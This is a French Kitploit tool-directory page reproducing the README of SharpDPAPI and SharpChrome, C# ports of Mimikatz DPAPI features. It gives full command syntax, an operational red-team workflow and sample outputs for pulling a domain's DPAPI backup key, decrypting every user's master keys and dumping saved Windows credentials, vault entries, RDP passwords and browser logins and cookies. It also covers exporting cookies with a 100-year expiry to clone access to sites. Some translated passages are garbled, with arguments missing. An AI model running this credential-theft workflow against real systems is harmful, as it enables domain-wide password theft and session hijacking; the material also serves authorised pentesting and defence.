Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ghostpack/sharpdpapi
Cassage de Mots de PasseOutils de Chiffrement/DéchiffrementMécanismes de PersistanceExploitationExfiltration de DonnéesPost-ExploitationTests d'IntrusionRed TeamingTop en Mécanismes de Persistance n°8
1.4k2499il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
ghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI est un port C# d'une partie des fonctionnalités DPAPI de Mimikatz.

Voir le dépôt

SharpDPAPI


SharpDPAPI est un portage en C# de certaines fonctionnalités DPAPI du projet Mimikatz de @gentilkiwi.

Je n'ai pas inventé cette logique, il s'agit simplement d'un portage de Mimikatz afin de mieux comprendre le processus et de l'opérationnaliser pour l'adapter à notre flux de travail.

Le sous-projet SharpChrome est une adaptation des travaux de @gentilkiwi et @djhohnstein, en particulier son projet SharpChrome. Cependant, cette version de SharpChrome utilise une version différente de la bibliothèque SQL C# qui supporte l'ouverture sans verrou. SharpChrome est construit comme un projet séparé dans SharpDPAPI en raison de la taille de la bibliothèque SQLite utilisée.

Les navigateurs Chrome et les nouveaux Edge basés sur Chromium peuvent être analysés avec SharpChrome.

SharpChrome utilise également une version minimisée du code BCrypt P/Invoke de @AArnott, publié sous licence MIT.

Si vous n'êtes pas familier avec DPAPI, consultez cet article pour plus d'informations générales. Pour plus d'informations sur les Credentials et les Vaults en lien avec DPAPI, consultez l'entrée wiki de Benjamin sur le sujet.

@harmj0y est l'auteur principal de ce portage.

SharpDPAPI est sous licence BSD 3-Clause.

Table des matières

  • SharpDPAPI
    • Table des matières
    • Contexte
      • Utilisation en ligne de commande de SharpDPAPI
      • Utilisation en ligne de commande de SharpChrome
      • Utilisation opérationnelle
        • SharpDPAPI
        • SharpChrome
    • Commandes SharpDPAPI
      • Analyse utilisateur
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • Analyse machine
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • Divers
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • Commandes SharpChrome
      • logins
      • cookies
      • statekeys
      • backupkey
    • Instructions de compilation
      • Cibler d'autres versions de .NET
      • Remarque : Exécution de SharpDPAPI via PowerShell
        • Remarque subsidiaire : Exécution de SharpDPAPI via PSRemoting

Contexte

SharpDPAPI Utilisation en ligne de commande

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Récupérer la clé de sauvegarde DPAPI d'un contrôleur de domaine, avec possibilité de spécifier un DC et un fichier de sortie :

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domaine] [/file:cle.pvk]

La commande *search* recherche les blobs DPAPI potentiels dans le registre, les fichiers, les dossiers et les blobs base64 :

    search /type:registry [/path:HKLM\chemin\vers\clé] [/showErrors]
    search /type:folder /path:C:\chemin\vers\dossier [/maxBytes:<nbOctets>] [/showErrors]
    search /type:file /path:C:\chemin\vers\fichier [/maxBytes:<nbOctets>]
    search /type:base64 [/base:<chaîne base64>]

Analyse machine/SYSTEM :

    machinemasterkeys       -   analyse tous les fichiers de clé maître machine accessibles (s'élève en SYSTEM pour récupérer le secret LSA DPAPI_SYSTEM)
    machinecredentials      -   utilise 'machinemasterkeys' puis analyse les fichiers Credential machine
    machinevaults           -   utilise 'machinemasterkeys' puis analyse les Vaults machine
    machinetriage           -   exécute les commandes 'machinecredentials' et 'machinevaults'

Analyse utilisateur :

    Arguments pour la commande 'masterkeys' :

        /target:FICHIER/dossier     -   analyse une clé maître spécifique, ou un dossier contenant des clés maîtres (sinon analyse les clés maîtres locales)
        /pvk:BASE64...          -   utilise un fichier de clé privée DPAPI de domaine encodé en base64 pour d'abord déchiffrer les clés maîtres utilisateur accessibles
        /pvk:cle.pvk            -   utilise un fichier de clé privée DPAPI de domaine pour d'abord déchiffrer les clés maîtres utilisateur accessibles
        /password:X             -   déchiffre les clés maîtres de l'utilisateur cible en utilisant un mot de passe en clair (fonctionne à distance)
        /ntlm:X                 -   déchiffre les clés maîtres de l'utilisateur cible en utilisant un hash NTLM (fonctionne à distance)
        /credkey:X              -   déchiffre les clés maîtres de l'utilisateur cible en utilisant une credkey DPAPI (SHA1 de domaine ou local, fonctionne à distance)
        /rpc                    -   demande au contrôleur de domaine de déchiffrer les clés maîtres de l'utilisateur cible
        /server:SERVEUR          -   analyse un serveur distant, en supposant un accès administrateur
        /hashes                 -   affiche les 'hashes' des fichiers de clé maître utilisateur au format JTR/Hashcat (sans déchiffrement)

    Arguments pour les commandes credentials|vaults|rdg|keepass|triage|blob|ps :

        Déchiffrement :
            /unprotect          -   force l'utilisation de CryptUnprotectData() pour les commandes 'ps', 'rdg' ou 'blob'
            /pvk:BASE64...      -   utilise un fichier de clé privée DPAPI de domaine encodé en base64 pour d'abord déchiffrer les clés maîtres utilisateur accessibles
            /pvk:cle.pvk        -   utilise un fichier de clé privée DPAPI de domaine pour d'abord déchiffrer les clés maîtres utilisateur accessibles
            /password:X         -   déchiffre les clés maîtres de l'utilisateur cible en utilisant un mot de passe en clair (fonctionne à distance)
            /ntlm:X             -   déchiffre les clés maîtres de l'utilisateur cible en utilisant un hash NTLM (fonctionne à distance)
            /credkey:X          -   déchiffre les clés maîtres de l'utilisateur cible en utilisant une credkey DPAPI (SHA1 de domaine ou local, fonctionne à distance)
            /rpc                -   demande au contrôleur de domaine de déchiffrer les clés maîtres de l'utilisateur cible
            GUID1:SHA1 ...      -   utilise une ou plusieurs clés maîtres GUID:SHA1 pour le déchiffrement
            /mkfile:FICHIER     -   utilise un fichier contenant une ou plusieurs clés maîtres GUID:SHA1 pour le déchiffrement

        Ciblage :
            /target:FICHIER/dossier -   analyse un emplacement spécifique de 'Credentials', '.rdg|RDCMan.settings', 'blob', ou 'ps', ou un dossier 'Vault'
            /server:SERVEUR      -   analyse un serveur distant, en supposant un accès administrateur
                                    Remarque : doit être utilisé avec /pvk:CLE ou /password:X
                                    Remarque : non applicable aux commandes 'blob' ou 'ps'

Analyse de certificats :

    Arguments pour la commande 'certificates' :
        /showall                                        -   affiche tous les fichiers de clé privée déchiffrés, pas seulement ceux liés aux certificats installés (par défaut)
        /machine                                        -   utilise le magasin de la machine locale pour l'analyse des certificats
        /mkfile | /target                               -   pour l'analyse /machine
        [tous les arguments de déchiffrement de l'analyse utilisateur ci-dessus]

Remarque : dans la plupart des cas, utilisez simplement *triage* si vous ciblez les secrets DPAPI utilisateur et *machinetriage* si vous ciblez les secrets DPAPI SYSTEM.
          Ces fonctions englobent toutes les autres fonctions applicables qui peuvent être exécutées automatiquement.

SharpChrome Utilisation en ligne de commande

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_dans
                |
  v1.9.0

Récupérer la clé de sauvegarde DPAPI d'un contrôleur de domaine, avec possibilité de spécifier un DC et un fichier de sortie :

  SharpChrome backupkey [/nowrap] [/server:SERVEUR.domaine] [/file:cle.pvk]

Arguments globaux pour les commandes 'cookies', 'logins' et 'statekeys' :

    Déchiffrement :
        /unprotect          -   force l'utilisation de CryptUnprotectData() (par défaut pour une exécution sans privilèges)
        /pvk:BASE64...      -   utilise un fichier de clé privée DPAPI de domaine encodé en base64 pour d'abord déchiffrer les clés maîtres utilisateur accessibles
        /pvk:cle.pvk        -   utilise un fichier de clé privée DPAPI de domaine pour d'abord déchiffrer les clés maîtres utilisateur accessibles
        /password:X         -   déchiffre les clés maîtres de l'utilisateur cible en utilisant un mot de passe en clair (fonctionne à distance)
        /ntlm:X             -   déchiffre les clés maîtres de l'utilisateur cible en utilisant un hash NTLM (fonctionne à distance)
        /prekey:X           -   déchiffre les clés maîtres de l'utilisateur cible en utilisant une prekey DPAPI (SHA1 de domaine ou local, fonctionne à distance)
        /rpc                -   demande au contrôleur de domaine de déchiffrer les clés maîtres de l'utilisateur cible
        GUID1:SHA1 ...      -   utilise une ou plusieurs clés maîtres GUID:SHA1 pour le déchiffrement
        /statekey:X         -   une clé d'état AES déchiffrée (provenant de la commande 'statekey')

    Ciblage :
        /target:FICHIER     -   analyse un emplacement spécifique de 'Cookies', 'Login Data' ou 'Local State'
        /target:C:\Users\X\ -   analyse un dossier utilisateur spécifique pour toute commande indiquée
        /server:SERVEUR     -   analyse un serveur distant, en supposant un accès administrateur (remarque : doit être utilisé avec /pvk:CLE)
        /browser:X          -   analyse 'chrome' (par défaut), 'edge' (basé sur Chromium) ou 'slack'

    Sortie :
        /format:X           -   soit 'csv' (par défaut) soit 'table' pour l'affichage
        /showall            -   affiche les entrées Login Data avec des mots de passe nuls et les cookies expirés au lieu de les filtrer (par défaut)
        /consoleoutfile:X   -   sortie console vers un fichier sur disque

Arguments spécifiques à la commande 'cookies' :

        /cookie:"REGEX"     -   ne renvoie que les cookies dont le nom correspond à l'expression régulière fournie
        /url:"REGEX"        -   ne renvoie que les cookies dont l'URL correspond à l'expression régulière fournie
        /format:json        -   sortie des valeurs de cookie au format JSON d'importation EditThisCookie. Idéal avec une regex !
        /setneverexpire     -   définit les dates d'expiration des cookies sortis à maintenant + 100 ans (pour la sortie json)

Utilisation opérationnelle

SharpDPAPI

L'un des objectifs de SharpDPAPI est d'opérationnaliser le travail DPAPI de Benjamin d'une manière qui s'adapte à notre flux de travail.

La manière exacte d'utiliser la boîte à outils dépendra de la phase de l'engagement où vous vous trouvez. En général, cela se divise entre "ai-je compromis le domaine ou non".

Si des privilèges d'administrateur du domaine (ou équivalent) ont été obtenus, la clé de sauvegarde DPAPI du domaine peut être récupérée avec la commande backupkey (ou avec Mimikatz). Cette clé privée de domaine ne change jamais et peut déchiffrer toutes les clés maîtres DPAPI des utilisateurs du domaine. Cela signifie qu'avec une clé de sauvegarde DPAPI de domaine, un attaquant peut déchiffrer les clés maîtres de n'importe quel utilisateur du domaine, qui peuvent ensuite être utilisées pour déchiffrer tous les Vaults/Credentials/Logins Chrome/autres blobs DPAPI, etc. La clé récupérée via la commande backupkey peut être utilisée avec les commandes masterkeys, credentials, vaults, rdg ou triage.

Si les privilèges DA n'ont pas été obtenus, l'utilisation de la commande sekurlsa::dpapi de Mimikatz permet de récupérer les correspondances {GUID}:SHA1 des clés maîtres DPAPI chargées (utilisateur et SYSTEM) sur un système donné (astuce : exécuter dpapi::cache après l'extraction de la clé vous donnera un joli tableau). Si vous convertissez ces clés au format {GUID1}:SHA1 {GUID2}:SHA1..., elles peuvent être fournies aux commandes credentials, vaults, rdg ou triage. Cela vous permet d'analyser tous les fichiers Credential/Vaults sur un système pour tout utilisateur actuellement connecté, sans avoir à déchiffrer fichier par fichier.

Sinon, si vous pouvez fournir le mot de passe, le hash NTLM ou la prekey DPAPI d'un utilisateur cible pour une commande utilisateur avec /password:X, /ntlm:X ou /prekey:X respectivement. Le champ dpapi de la sortie sekurlsa::msv de Mimikatz pour les utilisateurs du domaine peut être utilisé comme /prekey, tandis que le champ sha1 de la sortie sekurlsa::msv peut être utilisé comme /prekey pour les utilisateurs locaux.

Pour déchiffrer les fichiers RDG/RDCMan.settings avec la commande rdg, le drapeau /unprotect utilisera CryptUnprotectData() pour déchiffrer les mots de passe RDP enregistrés, si la commande est exécutée dans le contexte de l'utilisateur qui a enregistré les mots de passe. Cela peut être fait à partir d'un contexte non privilégié, sans avoir besoin de toucher à LSASS. Pour comprendre pourquoi cette approche n'est pas utilisée pour les credentials/vaults, consultez la documentation de Benjamin ici.

Pour l'analyse DPAPI spécifique à la machine, les commandes machinemasterkeys|machinecredentials|machinevaults|machinetriage effectuent l'équivalent machine de l'analyse DPAPI utilisateur. Si vous êtes dans un contexte élevé (c'est-à-dire que vous avez besoin de droits d'administration locaux), SharpDPAPI s'élèvera aux privilèges SYSTEM pour récupérer le secret LSA "DPAPI_SYSTEM", qui est ensuite utilisé pour déchiffrer toute clé maître DPAPI machine découverte. Ces clés sont ensuite utilisées comme tables de correspondance pour les credentials/vaults machines, etc.

Pour plus d'informations sur l'offensive DPAPI, consultez ici.

SharpChrome

SharpChrome est une implémentation spécifique à Chrome de SharpDPAPI capable de déchiffrer/analyser les cookies et les logins. Il est construit comme un projet séparé dans SharpDPAPI en raison de la taille de la bibliothèque SQLite utilisée.

Étant donné que les Cookies/Login Data de Chrome sont enregistrés sans CRYPTPROTECT_SYSTEM, CryptUnprotectData() est à nouveau envisageable. Si SharpChrome est exécuté depuis un contexte non élevé, il tentera de déchiffrer les logins/cookies de l'utilisateur actuel en utilisant CryptUnprotectData(). Une table de correspondance /pvk:[BASE64|fichier.pvk], {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X ou /mkfile:FICHIER de valeurs {GUID}:SHA1 peut également être utilisée pour déchiffrer les valeurs. De plus, la bibliothèque SQL C# utilisée (avec quelques modifications) supporte l'ouverture sans verrou, ce qui signifie que Chrome n'a pas besoin d'être fermé et que les fichiers cibles n'ont pas besoin d'être copiés ailleurs.

Sinon, si vous pouvez fournir le mot de passe, le hash NTLM ou la prekey DPAPI d'un utilisateur cible pour une commande utilisateur avec /password:X, /ntlm:X ou /prekey:X respectivement. Le champ dpapi de la sortie sekurlsa::msv de Mimikatz pour les utilisateurs du domaine peut être utilisé comme /prekey, tandis que le champ sha1 de la sortie sekurlsa::msv peut être utilisé comme /prekey pour les utilisateurs locaux.

Si Chrome est en version 80+, une clé d'état AES est stockée dans AppData\Local\Google\Chrome\User Data\Local State - cette clé est protégée par DPAPI, nous pouvons donc utiliser CryptUnprotectData()/les tables de correspondance pvk/cle maître pour la déchiffrer. Cette clé AES est ensuite utilisée pour protéger les nouvelles entrées de cookies et de données de connexion. Ce processus est également celui utilisé lorsque /browser:edge ou /browser:brave est spécifié pour l'analyse des nouveaux navigateurs Edge basés sur Chromium.

Par défaut, les cookies et les logins sont affichés au format csv - cela peut être modifié avec /format:table pour une sortie tabulaire, et /format:json pour les cookies spécifiquement. L'option json produit les cookies dans un format JSON pouvant être importé dans l'extension Chrome EditThisCookie pour une réutilisation facile.

La commande cookies comporte également les arguments /cookie:REGEX et /url:REGEX pour ne renvoyer que les noms ou URL de cookies correspondant à l'expression régulière fournie. Cela est utile avec /format:json pour cloner facilement l'accès à des sites spécifiques.

Des fichiers spécifiques de cookies/logins/statekey peuvent être spécifiés avec /target:X, et un dossier utilisateur peut être spécifié avec /target:C:\Users\USER\ pour toute commande d'analyse.

Commandes SharpDPAPI

Analyse utilisateur

masterkeys

La commande masterkeys recherche tout fichier de clé maître utilisateur lisible et les déchiffre à l'aide d'une clé de sauvegarde DPAPI de domaine fournie. Elle renvoie un ensemble de correspondances de clés maîtres {GUID}:SHA1.

/password:X peut être utilisé pour déchiffrer les clés maîtres actuelles d'un utilisateur. Notez que pour les machines jointes au domaine, le mot de passe peut être fourni soit en texte clair, soit au format NTLM. Si /target est également fourni avec /password, le /sid:X complet du SID du domaine de l'utilisateur doit également être spécifié.

La clé de sauvegarde du domaine peut être sous forme base64 (/pvk:BASE64...) ou sous forme de fichier (/pvk:cle.pvk).

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:cle.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0

[*] Action : Analyse des fichiers de clé maître utilisateur

[*] Clé maître trouvée : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Clé maître trouvée : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Cache des clés maîtres utilisateur :

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

Si aucun /password ou /pvk n'est spécifié, vous pouvez passer le drapeau /hashes pour extraire les hashes des clés maîtres au format John/Hashcat. Dans ce mode, les hashes sont imprimés au format {GUID}:DPAPImk.

La clé Preferred est également analysée afin de mettre en évidence la clé maître préférée actuelle, de sorte que les efforts ne soient pas gaspillés à casser des clés plus anciennes.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3

[*] Action : Analyse des fichiers de clé maître DPAPI utilisateur

[*] Va extraire les hashes des clés maîtres utilisateur

[*] Clé maître trouvée : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Clé maître trouvée : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Clés maîtres préférées :

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a

[*] Hashes des clés maîtres utilisateur :

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialsLa commande recherche les fichiers d’informations d’identification et a) les déchiffre avec les clés maîtres « {GUID}:SHA1 » passées, b) utilise un fichier contenant une ou plusieurs correspondances {GUID}:SHA1, c) utilise une clé de sauvegarde DPAPI du domaine ( ou ) pour déchiffrer d’abord les clés maîtres utilisateur (comme ), ou d) utilise un pour déchiffrer les clés maîtres utilisateur, qui servent ensuite de table de déchiffrement. Les correspondances GUID DPAPI peuvent être récupérées avec la commande de Mimikatz.

Un fichier d’informations d’identification spécifique (ou un dossier contenant des informations d’identification) peut être précisé avec /target:FILE ou /target:C:\Folder\. Si un fichier est indiqué, les valeurs {GUID}:SHA1 sont requises ; si un dossier est indiqué, soit a) les valeurs {GUID}:SHA1 doivent être fournies, soit b) le dossier doit contenir les clés maîtres DPAPI et une clé de sauvegarde /pvk du domaine doit être fournie.

Si exécuté dans un contexte élevé, les fichiers d’informations d’identification de TOUS les utilisateurs seront triés, sinon seuls ceux de l’utilisateur actuel seront traités.

Utilisation des correspondances de clés maîtres {GUID}:SHA1 du domaine :

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

Utilisation d’une clé de sauvegarde DPAPI du domaine pour déchiffrer d’abord les clés maîtres détectables :

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

La commande vaults recherche les coffres et a) les déchiffre avec les clés maîtres « {GUID}:SHA1 » passées, b) utilise un fichier /mkfile:FILE contenant une ou plusieurs correspondances {GUID}:SHA1, c) utilise une clé de sauvegarde DPAPI du domaine (/pvk:BASE64... ou /pvk:key.pvk) pour déchiffrer d’abord les clés maîtres utilisateur (comme masterkeys), ou d) utilise un /password:X pour déchiffrer les clés maîtres utilisateur, qui servent ensuite de table de déchiffrement. Les correspondances GUID DPAPI peuvent être récupérées avec la commande sekurlsa::dpapi de Mimikatz.

Le dossier Policy.vpol dans le dossier du coffre est déchiffré avec les clés DPAPI fournies pour récupérer les clés de déchiffrement AES associées, qui sont ensuite utilisées pour déchiffrer les fichiers .vcrd associés.

Un dossier de coffre spécifique peut être précisé avec /target:C:\Folder\. Dans ce cas, soit a) les valeurs {GUID}:SHA1 doivent être fournies, soit b) le dossier doit contenir les clés maîtres DPAPI et une clé de sauvegarde /pvk du domaine doit être fournie.

Utilisation des correspondances de clés maîtres {GUID}:SHA1 du domaine :

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Utilisation d’une clé de sauvegarde DPAPI du domaine pour déchiffrer d’abord les clés maîtres détectables :

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Utilisation d’une clé de sauvegarde DPAPI du domaine avec un dossier spécifié (tri « hors ligne ») :

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

La commande rdg recherche les fichiers RDCMan.settings pour l’utilisateur actuel (ou, si élevé, tous les utilisateurs) et a) les déchiffre avec les clés maîtres « {GUID}:SHA1 » passées, b) utilise un fichier /mkfile:FILE contenant une ou plusieurs correspondances {GUID}:SHA1, c) utilise une clé de sauvegarde DPAPI du domaine (/pvk:BASE64... ou /pvk:key.pvk) pour déchiffrer d’abord les clés maîtres utilisateur (comme masterkeys), ou d) utilise un /password:X pour déchiffrer les clés maîtres utilisateur, qui servent ensuite de table de déchiffrement. Les correspondances GUID DPAPI peuvent être récupérées avec la commande sekurlsa::dpapi de Mimikatz.

L’indicateur /unprotect utilise CryptUnprotectData() pour déchiffrer les mots de passe RDP enregistrés, si la commande est exécutée dans le contexte de l’utilisateur qui a enregistré les mots de passe. Cela peut être fait depuis un contexte non privilégié, sans avoir à toucher à LSASS. Pour savoir pourquoi cette approche n’est pas utilisée pour les informations d’identification/coffres, consultez la documentation de Benjamin ici.

Un fichier RDCMan.settings, un fichier .RDC (ou un dossier de fichiers .RDG) spécifique peut être précisé avec /target:FILE ou /target:C:\Folder\. Si un fichier est indiqué, les valeurs {GUID}:SHA1 (ou /unprotect) sont requises ; si un dossier est indiqué, soit a) les valeurs {GUID}:SHA1 doivent être fournies, soit b) le dossier doit contenir les clés maîtres DPAPI et une clé de sauvegarde /pvk du domaine doit être fournie.

Cette commande déchiffre toutes les informations de mot de passe enregistrées dans le fichier RDCMan.settings ainsi que dans les fichiers .RDG référencés par ce fichier.

Utilisation de /unprotect pour déchiffrer les mots de passe trouvés :

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Utilisation des correspondances de clés maîtres {GUID}:SHA1 du domaine :

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

